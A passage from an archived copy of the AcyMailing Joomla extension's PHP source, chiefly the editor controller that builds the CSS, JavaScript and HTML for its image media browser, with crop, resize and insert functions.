			return $this->upload();
		}
	}

	function cancelNewsletter(){
		$queueController = acymailing_get('controller.queue');
		$queueController->cancelNewsletter();
		return $this->listing();
	}

	function checkifedited(){
		if(empty($_SESSION['timeOnModification'])) exit;

		$mailClass = acymailing_get('class.mail');
		$mailId = acymailing_getVar('int', 'mailId');
		$mail = $mailClass->get($mailId);

		if(!empty($mail->lastupdate) && $_SESSION['timeOnModification'] < $mail->lastupdate){
			$userId = acymailing_loadResult('SELECT userlastupdate FROM #__acymailing_mail WHERE mailid = '.intval($mailId));
			echo $userId.'|'.acymailing_currentUserName($userId);
		}
		exit;
	}

	function cancel(){
		header('X-XSS-Protection:0');
		return $this->listing();
	}
}
com_acymailing/controllers/editor.php000060400000154554152455305300014100 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class EditorController extends acymailingController{

	function __construct($config = array()){
		parent::__construct($config);
		acymailing_setNoTemplate();
		
		
		if(!acymailing_isAdmin()){
			acymailing_addStyle(false, ACYMAILING_CSS.'acyicon.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'acyicon.css'));
		}
		$this->registerDefaultTask('browse');
	}

	function browse(){
		$this->_setCss();
		$this->_setJs();
		$this->_displayHTML();
	}

	private function _setCss(){
		if(acymailing_getVar('none', 'inpopup', '') == 'true'){
			$height_acy_media_browser_table = 420;
			$height_acy_media_browser_list = 310;
			$width_acy_media_browser_actions = 393;
			$width_acy_media_browser_hidden_elements = 395;
			$height_acy_media_browser_image_details = 415;
			$width_acy_media_browser_buttons_block = 365;
			$width_acy_media_browser_url_input = 60;
		}else{
			$height_acy_media_browser_table = 540;
			$height_acy_media_browser_list = 450;
			$width_acy_media_browser_actions = 522;
			$width_acy_media_browser_hidden_elements = 522;
			$height_acy_media_browser_image_details = 550;
			$width_acy_media_browser_buttons_block = 492;
			$width_acy_media_browser_url_input = 70;
		}

		$css = "
			#import_from_url, #upload_image {
				display: none;
			}

			#acy_media_browser_hidden_elements, #acy_media_browser_buttons_block, #acy_media_browser_buttons_block {
				transition: all 0.3s ease;
			}

			#acy_media_browser_table{
				height:".$height_acy_media_browser_table."px;
				width:100%;
				margin: 0px;
				border: 1px solid rgb(233, 233, 233);
				box-shadow: 4px 4px 4px -4px rgba(0, 0, 0, 0.1);
			}

			#acy_media_browser_path_dropdown{
				float:left;
				margin-left:15px;
				margin-top:15px;
				width:60%;
			}

			#acy_media_browser_global_create_folder{
				width:28%;
				float:right;
				margin-top:15px;
				margin-right:10px;
			}

			#acy_media_browser_create_folder{
				width:100%;
			}

			#create_folder_btn{
				margin-top:0px;
			}

			#acy_media_browser_area_create_folder{
				position:absolute;
				z-index:10;
				margin-top:5px;
				border:1px solid #e9e9e9;
				height:0px;
				width:150px;
				background-color:#f6f6f6;
			}

			#subFolderName{
				width:80%;
				margin-left:7px;
				margin-top:5px;
			}

			#acy_media_browser_area_create_folder .btn{
				float:right;
				margin-right:5px
			}

			#acy_media_browser_message{
				height:450px;
				overflow:auto;
				margin:0px;
				padding:5px;
				border-bottom: 1px solid rgb(233, 233, 233);
			}

			#acy_media_browser_list{
				height:".$height_acy_media_browser_list."px;
				overflow-x:hidden;
				margin:0px;
				padding:0px;
				border-bottom: 1px solid rgb(233, 233, 233);
			}

			.acy_media_browser_image_size{
				color: #AAAAAA;
			}

			#acy_media_browser_actions{
				text-align:center;
				box-shadow: 0px -4px 4px -4px rgba(0, 0, 0, 0.3);
				width:".$width_acy_media_browser_actions."px;
				overflow:hidden;
				height: 100px;
			}

			#acy_media_browser_containing_block{
				height: 70px;
				width:522px;
			}

			#acy_media_browser_buttons_block{
				padding:22px 15px 0px;
				width: ".$width_acy_media_browser_buttons_block."px;
				float:left;
				display:inline-block;
			}

			#acy_media_browser_hidden_elements{
					width:".$width_acy_media_browser_hidden_elements."px;
			}

			#acy_media_browser_url_input{
				width:".$width_acy_media_browser_url_input."%;
				margin:0px;
			}

			#acy_media_browser_insert_message{
				margin-top:5px;
			}

			#acy_media_browser_image_details_row{
				width:35%;
				vertical-align:top;
				background-color: rgb(246, 246, 246);
				border: 1px solid rgb(233, 233, 233);
				font-family: 'Helvetica Neue',Helvetica,Arial,sans-serif;
				font-size: 13px;
				line-height: 18px;
				color: rgb(102, 102, 102);
			}

			#acy_media_browser_image_details{
				position: relative;
				width: 85%;
				overflow-x:hidden;
				height: ".$height_acy_media_browser_image_details."px;
				padding: 15px;
			}

			#acy_media_browser_image_selected_info{
				width:230px;
				float:left;
				margin-bottom:10px;
			}

			#acy_media_browser_image_selected_details label{
				font-weight: bold;
			}

			#acy_media_browser_image_selected_details input {
				margin-bottom: 7px;
				}

			#acy_media_browser_image_selected_details select {
				margin-bottom: 7px;
				}

			.alert{
					padding: 8px 35px 8px 14px;
					margin-bottom: 18px;
					text-shadow: 0px 1px 0px rgba(255, 255, 255, 0.5);
					background-color: rgb(252, 248, 227);
					border: 1px solid rgb(251, 238, 213);
					border-radius: 4px;
			}

			.alert-error{
				background-color: rgb(242, 222, 222);
				border-color: rgb(238, 211, 215);
				color: rgb(185, 74, 72);
			}

			.alert-success {
					background-color: rgb(223, 240, 216);
					border-color: rgb(214, 233, 198);
					color: rgb(70, 136, 71);
			}

			li.acy_media_browser_images {position: relative; height: 135px; width:135px; display:inline-block; margin:14px; margin-top:7px; text-align:center; border: 1px solid #eee;}
			.acy_media_browser_images img{max-height:135px; width:auto; max-width:135px; vertical-align:top;}

			.acy_media_browser_images img.acy_media_browser_delete{height:24px; width:24px; vertical-align:top; position:absolute; right:0px; top:0px; z-index:990; cursor: pointer;}
			#acy_media_browser_list .acy_media_browser_image_size{color: #666; text-shadow:1px 1px 1px #ffffff; font-weight:normal}

			#confirmBoxMM{
				width: 370px;
				background: rgba(255, 255, 255, 0.8);
				border: 1px solid #d6d6d6;
				padding: 5px;
				border-radius: 5px;
				box-shadow: 1px 1px 5px #dddddd;
				-moz-box-shadow: 1px 1px 5px #dddddd;
				-webkit-box-shadow: 1px 1px 5px #dddddd;
				position: absolute;
				left: 234px;
				top: 150px;
				z-index: 999;
			}

			#acy_popup_content{
				background-color: #fff;
				padding: 20px;
				text-align: center;
				color: #706f6f;
			}

			.acy_folder_name{
				color: #5e93c0
			}

		";
		if(!ACYMAILING_J30){
			$css = $css."#acy_media_browser_area_create_folder .btn{
					margin-top:30px;
					margin-right:20px;
				}
				#subFolderName{
					margin-left:13px;
				}
			";
		}
		echo '<style>'.$css.'</style>';
	}

	private function _setJs(){
		$websiteurl = rtrim(acymailing_rootURI(), '/').'/';

		acymailing_addScript(false, $websiteurl.ACYMAILING_MEDIA_FOLDER.'/js/jquery/jquery-1.9.1.min.js?v='.@filemtime(ACYMAILING_ROOT.str_replace('/', DS, ACYMAILING_MEDIA_FOLDER).DS.'js'.DS.'jquery'.DS.'jquery-1.9.1.min.js'));

		$imageZone = acymailing_getVar('array', 'image_zone', array(), '');
		if(empty($imageZone)){
			$getAdditionalTags = "
					var selectedImageWidth = document.getElementById('acy_media_browser_image_width').value;
					var selectedImageHeight = document.getElementById('acy_media_browser_image_height').value;
					var selectedImageAlign = document.getElementById('acy_media_browser_image_align').value;
					var selectedImageBorder = document.getElementById('acy_media_browser_image_border').value;
					var selectedImageMargin = document.getElementById('acy_media_browser_image_margin').value;

					var width = ''; var height =''; var align=''; var border = ''; var margin = '';
					if(selectedImageWidth>0) width =  ' width:' + selectedImageWidth + 'px; ';
					if(selectedImageHeight>0) height = ' height:' +  selectedImageHeight + 'px; ';
					if(selectedImageAlign) align = 'float:' + selectedImageAlign + ';';
					if(selectedImageWidth>0 && selectedImageAlign.trim()=='center') align = 'margin:auto;';
					if(selectedImageBorder) border = ' border:' +  selectedImageBorder + '; ';
					if(selectedImageBorder>0 ) border = ' border: solid ' +  selectedImageBorder + 'px; ';
					if(selectedImageMargin>0) margin = ' margin:' +  selectedImageMargin + 'px; ';
					else if(selectedImageMargin) margin = ' margin:' +  selectedImageMargin + '; ';
					var imgSize = ' height =\"' + selectedImageHeight + '\" width = \"' + selectedImageWidth + '\"';
							";
			$sizeAndAlignTags = " style=\"' + height + width + align + border + margin +'\" ";

			$insertImage = "window.parent.insertImageTag(tag, previousSelection);";
		}else{
			$getAdditionalTags = "var selectedImageRef = document.getElementById('acy_media_browser_image_target').value; ";
			$sizeAndAlignTags = "";
			$insertImage = "window.parent.jInsertEditorText(tag, this.editor);";
		}

		if(acymailing_getVar('none', 'inpopup', '') == 'true'){
			$imgMaxHeight = 150;
			$slideValue = -395;
		}else{
			$imgMaxHeight = 190;
			$slideValue = -522;
		}
		
		$js = "
				var previousSelection = window.parent.getPreviousSelection();

				function checkSelected(imageZone) {

					if(imageZone){
						var editor = window.parent.CKEDITOR.editor;

						o = this._getUriObject(window.self.location.href);
						q = this._getQueryObject(o.query);
						zone = decodeURIComponent(q.e_name);

						var html = window.parent.getSelectedHTML(zone);
						var parsedSelection = jQuery.parseHTML(html);

						if(!parsedSelection)
							return false;

						if(parsedSelection[0].tagName == 'A'){
							var parsedImage = jQuery.parseHTML(parsedSelection[0].innerHTML);
							parsedImage = parsedImage[0];

							if(parsedSelection[0].href)
									document.getElementById('acy_media_browser_image_target').value =  parsedSelection[0].href;
						}else if(parsedSelection[0].tagName == 'IMG'){
							var parsedImage = parsedSelection[0];
						}

						if(!parsedImage) return false;

						var name = parsedImage.src.substr(parsedImage.src.lastIndexOf('/') + 1);
						if(parsedImage.src.substring(0,4)=='http'){
							var imageUrl =  parsedImage.src;
						}else{
							var imageUrl =  '".ACYMAILING_LIVE."' + parsedImage.src;
						}
						var width = parsedImage.width;
						var height = parsedImage.height;
						displayImageFromUrl(imageUrl, 'success', name, width, height);
						if(parsedImage.alt)
							document.getElementById('acy_media_browser_image_title').value =  parsedImage.alt;
					}else{
						var editor =  window.parent.editor;
						var sel = editor.getSelection();
						var ranges = sel.getRanges();
						var el = new window.parent.CKEDITOR.dom.element('div');
						for (var i = 0, len = ranges.length; i < len; ++i) {
								el.append(ranges[i].cloneContents());
						}

						if(el.getFirst() && el.getFirst().getName() == 'a'){
							var selection = el.getFirst().getHtml();
							var selectedImageRef = el.getFirst().getAttribute('href');
						} else{
							var selection = el.getHtml();
						}

						var parsedSelection = jQuery.parseHTML(selection);

						if(!parsedSelection)
							return false;
							
						if(parsedSelection[0].tagName == 'IMG'){
							var name = parsedSelection[0].src.substr(parsedSelection[0].src.lastIndexOf('/') + 1);
							var width = parsedSelection[0].width;
							var height = parsedSelection[0].height;
							if($(selection).attr('src').substring(0,4) == 'http'){
								var imageUrl =  $(selection).attr('src');
							}else{
								var imageUrl =  '".ACYMAILING_LIVE."' + $(selection).attr('src');
							}
							displayImageFromUrl(imageUrl, 'success', name, width, height);

							if(parsedSelection[0].alt)
								document.getElementById('acy_media_browser_image_title').value =  parsedSelection[0].alt;
							if(parsedSelection[0].style.width)
								document.getElementById('acy_media_browser_image_width').value =  parsedSelection[0].style.width.slice(0,-2);
							if(parsedSelection[0].style.height)
								document.getElementById('acy_media_browser_image_height').value =  parsedSelection[0].style.height.slice(0,-2);
							if(parsedSelection[0].style.cssFloat)
								document.getElementById('acy_media_browser_image_align').value =  parsedSelection[0].style.cssFloat;
							if(parsedSelection[0].style.margin)
								document.getElementById('acy_media_browser_image_margin').value =  parsedSelection[0].style.margin;
							if(parsedSelection[0].style.border)
								document.getElementById('acy_media_browser_image_border').value =  parsedSelection[0].style.border;
							if(parsedSelection[0].className)
								document.getElementById('acy_media_browser_image_class').value =  parsedSelection[0].className;
							if(selectedImageRef)
								document.getElementById('acy_media_browser_image_linkhref').value = selectedImageRef;
						}
					}
				}

				function removeAllListener(el) {
					var elClone = el.cloneNode(true);
					el.parentNode.replaceChild(elClone, el);
					return elClone;
				}

				function addResizeDragListener(src) {
					var elements = document.getElementsByClassName('drag-resize');
					for(var i = 0; i < elements.length; i++) {
						var element = elements[i];
						element = removeAllListener(element);
						
						if(navigator.userAgent.indexOf('Firefox') > 0) {
							var currentlyDrag = false;
							element.addEventListener('mousedown', function(event) {
								currentlyDrag = true;
							});
	
							element.addEventListener('mousemove', function(event) {
								if(!currentlyDrag) return;
								var scaleValue = event.offsetX;
								if(scaleValue < 0) return false;
								preloadCanvas(src, scaleValue+50);
							});
							
							document.addEventListener('mouseup', function(event) {
								currentlyDrag = false;
							});
						}else{
							element.addEventListener('drag', function(event) {
								var scaleValue = event.offsetX;
								if(scaleValue < 0) return false;
								preloadCanvas(src, scaleValue);
							});
	
							element.addEventListener('dragstart', function(event) {
								if(typeof event.dataTransfer.setDragImage === 'function'){
									var dragIcon = document.createElement('img');
									event.dataTransfer.setDragImage(dragIcon, 0, 0);
								}
							});
						}
					}
				}

				function addCropDragListener(src) {
					var elements = document.getElementsByClassName('drag-resize');
					for(var i = 0; i < elements.length; i++) {
						var element = elements[i];
						element = removeAllListener(element);

						if(navigator.userAgent.indexOf('Firefox') > 0) {
							var currentlyCrop = false;
							element.addEventListener('mousedown', function(event) {
								currentlyCrop = true;
								var coords = {x: event.offsetX, y: event.offsetY, screenX: event.screenX, screenY: event.screenY};
								this.setAttribute('initial-click', JSON.stringify(coords));
							});
	
							element.addEventListener('mousemove', function(event) {
								if(!currentlyCrop) return;
								var coords = JSON.parse(this.getAttribute('initial-click'));
								var width = (event.screenX - coords.screenX);
								var height = (event.screenY - coords.screenY);
								drawRectangle(src, coords.x, coords.y, width, height);
							});
							
							document.addEventListener('mouseup', function(event) {
								if(!currentlyCrop) return;
								currentlyCrop = false;
								
								var coords = JSON.parse(element.getAttribute('initial-click'));
								element.removeAttribute('initial-click');
								var width = (event.screenX - coords.screenX);
								var height = (event.screenY - coords.screenY);
								if(width < 0) {
									width = Math.abs(width);
									coords.x = coords.x - width;
								}
								if (height < 0) {
									height = Math.abs(height);
									coords.y = coords.y - height;
								}
	
								cropImage(src, coords.x, coords.y, width, height)
							});
						}else{
							element.addEventListener('dragend', function(event) {
								var coords = JSON.parse(this.getAttribute('initial-click'));
								this.removeAttribute('initial-click');
								var width = (event.screenX - coords.screenX);
								var height = (event.screenY - coords.screenY);
								if(width < 0) {
									width = Math.abs(width);
									coords.x = coords.x - width;
								}
								if (height < 0) {
									height = Math.abs(height);
									coords.y = coords.y - height;
								}
	
								cropImage(src, coords.x, coords.y, width, height)
							});
	
							element.addEventListener('dragstart', function(event) {
								var coords = {x: event.offsetX, y: event.offsetY, screenX: event.screenX, screenY: event.screenY};
								this.setAttribute('initial-click', JSON.stringify(coords));
								
								if(typeof event.dataTransfer.setDragImage === 'function'){
									var dragIcon = document.createElement('img');
									event.dataTransfer.setDragImage(dragIcon, 0, 0);
								}
							});
	
							element.addEventListener('drag', function(event) {
								var coords = JSON.parse(this.getAttribute('initial-click'));
								var width = (event.screenX - coords.screenX);
								var height = (event.screenY - coords.screenY);
								drawRectangle(src, coords.x, coords.y, width, height);
							});
						}
					}
				}

				function roundedCorner() {
					var selectedImage = document.getElementById('acy_media_browser_selected_image');
					if(typeof selectedImage == 'undefined') return false;

					var canvas = document.getElementById('edition-canvas');
					var ctx = canvas.getContext('2d');

					ctx.clearRect(0, 0, canvas.width, canvas.height);

					var image = new Image();
					image.src = selectedImage.src;

					canvas.width = image.width;
					canvas.height = image.height;

					image.onload = function(event) {
						var radius = document.getElementById('radius-image').value;
						roundedRectangle(0, 0, this.width, this.height, radius, ctx);
						ctx.clip();
						ctx.drawImage(this, 0, 0, this.width, this.height);
					}
				}

				function roundedRectangle(x, y, width, height, radius, ctx) {
				    ctx.beginPath();
				    ctx.moveTo(x + radius, y);
				    ctx.lineTo(x + width - radius, y);
				    ctx.quadraticCurveTo(x + width, y, x + width, y + radius);
				    ctx.lineTo(x + width, y + height - radius);
				    ctx.quadraticCurveTo(x + width, y + height, x + width - radius, y + height);
				    ctx.lineTo(x + radius, y + height);
				    ctx.quadraticCurveTo(x, y + height, x, y + height - radius);
				    ctx.lineTo(x, y + radius);
				    ctx.quadraticCurveTo(x, y, x + radius, y);
				    ctx.closePath();
				}

				function cancelModification() {
					var selectedImage = document.getElementById('acy_media_browser_selected_image');
					var imageWidth = document.getElementById('acy_media_browser_image_width').value;
						
					if(typeof selectedImage == 'undefined') return false;
					preloadCanvas(selectedImage.src, imageWidth);
				}

				function changeToCrop() {
					var selectedImage = document.getElementById('acy_media_browser_selected_image');
					var imageWidth = document.getElementById('acy_media_browser_image_width').value;

					if(typeof selectedImage == 'undefined') return false;

					addCropDragListener(selectedImage.src);
					preloadCanvas(selectedImage.src, imageWidth);
				}

				function changeToScale() {
					var selectedImage = document.getElementById('acy_media_browser_selected_image');
					var imageWidth = document.getElementById('acy_media_browser_image_width').value;

					if(typeof selectedImage == 'undefined') return false;

					addResizeDragListener(selectedImage.src);
					preloadCanvas(selectedImage.src, imageWidth);
				}

				function validateImageModification() {
					var canvas = document.getElementById('edition-canvas');
					var dataURL = canvas.toDataURL('image/png');
					document.getElementById('imagedata').value = dataURL;
					
					var form = document.getElementById('form-edition');
					var queryString = form.action;
					var dataString = form.toQueryString();
					
					var xhr = new XMLHttpRequest();
					xhr.open('POST', queryString);
					xhr.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");
					xhr.onload = function(){
						closePanel();
						window.location.href = window.location.href;
					};
					xhr.send(dataString);
					
					return false;
				}

				function closePanel() {
					document.getElementById('image-edition').classList.add('hidden-edition');
				}

				function drawRectangle(src, sx, sy, sw, sh) {
					var canvas = document.createElement('canvas');
					canvas.id = 'edition-canvas';
					var machin = document.getElementById('edition-canvas');
					var parent = machin.parentElement;
					parent.removeChild(machin);
					parent.appendChild(canvas);
					
					canvas = document.getElementById('edition-canvas');
					
					
					var ctx = canvas.getContext('2d');
					var image = new Image();
					image.src = src;

					canvas.width = image.width;
					canvas.height = image.height;

					ctx.drawImage(image, 0, 0, image.width, image.height);
					ctx.rect(sx, sy, sw, sh);
					ctx.strokeStyle='red';
					ctx.stroke();
				}

				function cropImage(src, sx, sy, sw, sh) {
					var canvas = document.getElementById('edition-canvas');
					var ctx = canvas.getContext('2d');
					var image = new Image();
					image.src = src;

					ctx.clearRect(0, 0, canvas.width, canvas.height);

					canvas.width = sw;
					canvas.height = sh;

					ctx.drawImage(image, sx, sy, sw, sh, 0, 0, sw, sh);
				}

				function preloadCanvas(src, width) {
					var canvas = document.getElementById('edition-canvas');
					var ctx = canvas.getContext('2d');
					var image = new Image();
					image.src = src;

					ctx.clearRect(0, 0, canvas.width, canvas.height);

					var ratio = image.width / image.height;

					canvas.width = width;
					canvas.height = (width / ratio);

					ctx.drawImage(image, 0, 0, width, (width / ratio));
				}

				function displayImageEdition() {
					var selectedImage = document.getElementById('acy_media_browser_selected_image');
					var imageWidth = document.getElementById('acy_media_browser_image_width').value;

					if(selectedImage == null) return false;
					addResizeDragListener(selectedImage.src);
					preloadCanvas(selectedImage.src, imageWidth);
					document.getElementById('pathtosave').value = document.getElementById('currentPath').value;

					document.getElementById('image-edition').classList.toggle('hidden-edition');
				}

				function displayImageFromUrl(url, result, name, width, height, fromUrl){
					if(result=='success'){
							var infos = '<div style=\"width:100%; display:block: height:1px; float:left; margin-top:10px;\"></div>';
							document.getElementById('acy_media_browser_image_selected').innerHTML='<img id=\"acy_media_browser_selected_image\" src=\"' + url + '\"  style=\"border: 1px solid rgb(233, 233, 233); float:left; margin-right:15px; max-width: 230px; max-height:".$imgMaxHeight."px;\"></img>'+infos;
							document.getElementById('acy_media_browser_image_selected').style.display=\"\";
							if(!name){ var name = url.substr(url.lastIndexOf('/') + 1); }
							if(width){
								document.getElementById('acy_media_browser_image_selected_info').innerHTML='<div><span id=\"acy_media_browser_image_selected_name\" style=\"font-weight:bold;\"> '+name+'</span><br />'+width+'x'+height+'<br />';
								var widthField = document.getElementById('acy_media_browser_image_width');
								var heightField = document.getElementById('acy_media_browser_image_height');
								if(widthField) widthField.value = width;
								if(heightField) heightField.value = height;
							}
							document.getElementById('acy_media_browser_image_selected_info').style.display=\"\";
							if(fromUrl){
								document.getElementById('acy_media_browser_insert_message').innerHTML='<span style=\"color:green;\">".str_replace("'", "\'", acymailing_translation('IMAGE_FOUND'))."</span>';
							}
					}else{
							document.getElementById('acy_media_browser_image_selected').innerHTML=\"\";
							document.getElementById('acy_media_browser_image_selected').style.display=\"none\";
							document.getElementById('acy_media_browser_image_selected_info').innerHTML=\"\";
							if(fromUrl){
								if(result='error'){
									document.getElementById('acy_media_browser_insert_message').innerHTML='<span style=\"color:red;\">".str_replace("'", "\'", acymailing_translation('IMAGE_NOT_FOUND'))."</span>';
								}else if(result='timeout'){
									document.getElementById('acy_media_browser_insert_message').innerHTML='<span style=\"color:red;\">".str_replace("'", "\'", acymailing_translation('IMAGE_TIMEOUT'))."</span>';
								}
							}
					}
				}


				function calculateSize(newHeight, newWidth){
					if((newHeight == '' && newWidth == '') || (newHeight == '' && newWidth == 0) || (newHeight == 0 && newWidth == '')) return;
					var img = document.getElementById('acy_media_browser_selected_image');
					if(!img) return;

					if(newHeight == 0)
						document.getElementById('acy_media_browser_image_height').value =  parseInt(img.naturalHeight * (newWidth / img.naturalWidth));

					if(newWidth == 0)
						document.getElementById('acy_media_browser_image_width').value =  parseInt(img.naturalWidth * (newHeight / img.naturalHeight));
				}


				function testImage(url, callback, timeout) {
					timeout = timeout || 5000;
						var timedOut = false, timer;
						var img = new Image();
						img.onerror = img.onabort = function() {
								if (!timedOut) {
										clearTimeout(timer);
										callback(url, \"error\", '', '', '',true);
								}
						};
						img.onload = function() {
								if (!timedOut) {
										clearTimeout(timer);
										callback(url, \"success\",'','', '',true);
								}
						};
						img.src = url;
						timer = setTimeout(function() {
								timedOut = true;
								callback(url, \"timeout\", '', '', '', true);
						}, timeout);
				}

				function displayAppropriateField(id){
					if(id==\"import_from_url_btn\"){
							document.getElementById('upload_image').style.display=\"none\";
							document.getElementById('import_from_url').style.display=\"block\";

							jQuery('#acy_media_browser_buttons_block').css('width', '0');
							jQuery('#acy_media_browser_buttons_block').css('opacity', '0');
							jQuery('#acy_media_browser_hidden_elements').css('width', '522px');
							jQuery('#acy_media_browser_hidden_elements').css('opacity', '1');

					}else if(id==\"upload_image_btn\"){
							document.getElementById('upload_image').style.display=\"block\";
							document.getElementById('import_from_url').style.display=\"none\";

							jQuery('#acy_media_browser_buttons_block').css('width', '0');
							jQuery('#acy_media_browser_buttons_block').css('opacity', '0');
							jQuery('#acy_media_browser_hidden_elements').css('width', '522px');
							jQuery('#acy_media_browser_hidden_elements').css('opacity', '1');

					}else if(id == \"create_folder_btn\"){
						if(document.getElementById('acy_media_browser_area_create_folder').style.display == \"none\"){
							document.getElementById('acy_media_browser_area_create_folder').style.display = \"\";
							jQuery('#acy_media_browser_area_create_folder').stop().animate({height: '85px'},400);
						}else{
							document.getElementById('acy_media_browser_area_create_folder').style.display = \"none\";
							jQuery('#acy_media_browser_area_create_folder').stop().animate({height: '0px'},400);
						}
					}else{
							jQuery('#acy_media_browser_hidden_elements').css('width', '0');
							jQuery('#acy_media_browser_hidden_elements').css('opacity', '0');
							jQuery('#acy_media_browser_buttons_block').css('width', '522px');
							jQuery('#acy_media_browser_buttons_block').css('opacity', '1');

					}
				}

				function toggleImageInfo(id, action){
					if(action==\"display\"){
							document.getElementById('acy_media_browser_image_info_'+id+'').style.display = \"\";
					}else{
							document.getElementById('acy_media_browser_image_info_'+id+'').style.display = \"none\";
					}
				}

				function _getQueryObject(q) {
					var vars = q.split(/[&;]/);
					var rs = {};
					if (vars.length){
						for(var i = 0 ; i<vars.length ; i++){
							var val = vars[i];
							var keys = val.split('=');
							if (keys.length && keys.length == 2) rs[encodeURIComponent(keys[0])] = encodeURIComponent(keys[1]);
						}
					}
					return rs;
				}

				function _getUriObject(u){
					var bits = u.match(/^(?:([^:\/?#.]+):)?(?:\/\/)?(([^:\/?#]*)(?::(\d*))?)((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[\?#]|$)))*\/?)?([^?#\/]*))?(?:\?([^#]*))?(?:#(.*))?/);
					
					return (bits)
						? {uri: bits[0], scheme: bits[1], authority: bits[2], domain: bits[3], port: bits[4], path: bits[5], directory: bits[6], file: bits[7], query: bits[8], fragment: bits[9]}
						: null;
				}

				function validateImage(){
					var urlInput = document.getElementById('acy_media_browser_url_input').value;
					var urlImageName = urlInput.substr(urlInput.lastIndexOf('/') + 1);
					var selectedImageName = '';
					if(document.getElementById('acy_media_browser_image_selected_name'))
					var selectedImageName = document.getElementById('acy_media_browser_image_selected_name').innerHTML;

					var selectedImageAlt = document.getElementById('acy_media_browser_image_title').value;
					var selectedImageRef = '';
					if(document.getElementById('acy_media_browser_image_linkhref'))
						var selectedImageRef = document.getElementById('acy_media_browser_image_linkhref').value;
					var selectedImageUrl = document.getElementById('acy_media_browser_selected_image').src;
					var imgSize = '';
					var selectedImageClass = '';
					if(document.getElementById('acy_media_browser_image_class'))
						var selectedImageClass = document.getElementById('acy_media_browser_image_class').value;

					".$getAdditionalTags."

					o = this._getUriObject(window.self.location.href);
					q = this._getQueryObject(o.query);
					this.editor = decodeURIComponent(q.e_name);

					var dropdown = document.getElementById('acy_media_browser_files_path');
					var path = dropdown.value;
					var base = ' ".ACYMAILING_LIVE." ';

					if(urlInput!='http://' && selectedImageName.trim()==urlImageName.trim()){
							var tag = '<img ' + imgSize + ' src=\"' + urlInput + '\" alt=\"' + selectedImageAlt + '\" ".$sizeAndAlignTags." class=\"' + selectedImageClass + '\" />';
					}else{
							var tag = '<img ' + imgSize + ' src=\"' + selectedImageUrl + '\" alt=\"' + selectedImageAlt + '\" ".$sizeAndAlignTags." class=\"' + selectedImageClass + '\" />';
					}

					if(selectedImageRef){
							tag = '<a href=\"' + selectedImageRef + '\">' + tag + '</a>';
					}

					".$insertImage."
					return false;
				}

				function changeFolder(folderName){
					var url = window.location.href;
					if (url.indexOf('?') > -1){
							var lastParam = url.substring(url.lastIndexOf('&') + 1);
							if(url.indexOf('pictName') > -1){
								var temp = url.split('&');
								for(var i=0;i<temp.length;i++){
									if(temp[i].indexOf('pictName') > -1){
										temp.splice(i, 1);
										i--;
									}
								}
								url = temp.join('&');
								lastParam = url.substring(url.lastIndexOf('&') + 1);
							}
							if(lastParam == 'task=createFolder')url = url.replace(lastParam,'task=browse&e_name=ACY_NAME_AREA');
							lastParam = lastParam.split('=');
							if(lastParam=='selected_folder')
								url = url.replace(lastParam, 'selected_folder='+folderName);
							else
								url += '&selected_folder='+folderName;
					}else{
							 url += '?selected_folder='+folderName;
					}
					window.location.href = url;
				}

				function confirmBox(type, pictName, originalName){
					if(type == 'delete'){
						document.getElementById('confirmTxtMM').innerHTML = '".acymailing_translation('ACY_VALIDDELETEITEMS')."<br /><span class=\"acy_folder_name\">('+pictName+')</span><br />';
						document.getElementById('textBtnAction').innerHTML = '".acymailing_translation('ACY_DELETE')."';
						document.getElementById('confirmOkMM').className = 'acymailing_button acymailing_button_delete';
						document.getElementById('iconAction').className = 'acyicon-delete';
					}else{
						document.getElementById('confirmTxtMM').innerHTML =  '".acymailing_translation('ACY_REPLACE_FILE_TEXT')."<br />';
						document.getElementById('textBtnAction').innerHTML = '".acymailing_translation('ACY_REPLACE_FILE')."';
						document.getElementById('confirmOkMM').className = 'acymailing_button';
						document.getElementById('iconAction').className = 'acyicon-edit';
					}

					var divDelete = document.getElementById('confirmOkMM');
					divDelete.onclick = function(){
						if(type == 'delete'){
							reloadAndAction(type, pictName);
						}else{
							reloadAndAction(type, pictName, originalName);
						}
					}
					var divConfirm = document.getElementById('confirmBoxMM');
					divConfirm.style.display = 'inline';
				}

				function reloadAndAction(type, pictName, originalName){
					var urlPict = window.location.href;
					var lastParam = urlPict.substring(urlPict.lastIndexOf('&') + 1);
					if(lastParam.indexOf('pictName=') > -1){
						urlPict = urlPict.substring(0, urlPict.indexOf('pictName=')-1);
					}
					if(lastParam.indexOf('pictRename=') > -1){
						urlPict = urlPict.substring(0, urlPict.indexOf('pictRename=')-1);
						lastParam = urlPict.substring(urlPict.lastIndexOf('&') + 1);
						if(lastParam.indexOf('originalName=') > -1){
							urlPict = urlPict.substring(0, urlPict.indexOf('originalName=')-1);
						}
					}

					if(urlPict.indexOf('?') > -1){
						if(type == 'delete'){
							window.location.href = urlPict + '&pictName=' + pictName;
						}else{
							window.location.href = urlPict + '&originalName=' + originalName + '&pictRename=' + pictName;
						}
					} else{
						if(type == 'delete'){
							window.location.href = urlPict + '?pictName=' + pictName;
						}else{
							window.location.href = urlPict + '?originalName=' + originalName + '&pictRename=' + pictName;
						}
					}
				}
				function changeDisplay(event){
					if(document.getElementById('displayPict').style.display == ''){
						display('list');
					}else{
						display('icons');
					}
				}
				function display(type){
					if(type == 'list'){
						document.getElementById('displayPict').style.display = 'none';
						document.getElementById('displayLine').style.display = '';
						document.getElementById('btn_change_display').title = '".acymailing_translation('ACY_DISPLAY_ICON')."';
						document.getElementById('iconTypeDisplay').className = 'acyicon-image_view';
					}else{
						document.getElementById('displayPict').style.display = '';
						document.getElementById('displayLine').style.display = 'none';
						document.getElementById('btn_change_display').title = '".acymailing_translation('ACY_DISPLAY_NOICON')."';
						document.getElementById('iconTypeDisplay').className = 'acyicon-list_view';
					}
				}
			";

		acymailing_addScript(true, $js);
	}

	private function _displayHTML(){

		$mediaFolders = acymailing_getFilesFolder('media', true);

		$receivedFolder = acymailing_getUserVar(ACYMAILING_COMPONENT.".acyeditor.selected_folder", 'selected_folder', '', 'string');
		$defaultFolder = reset($mediaFolders);

		if(!empty($receivedFolder)){
			$allowed = false;
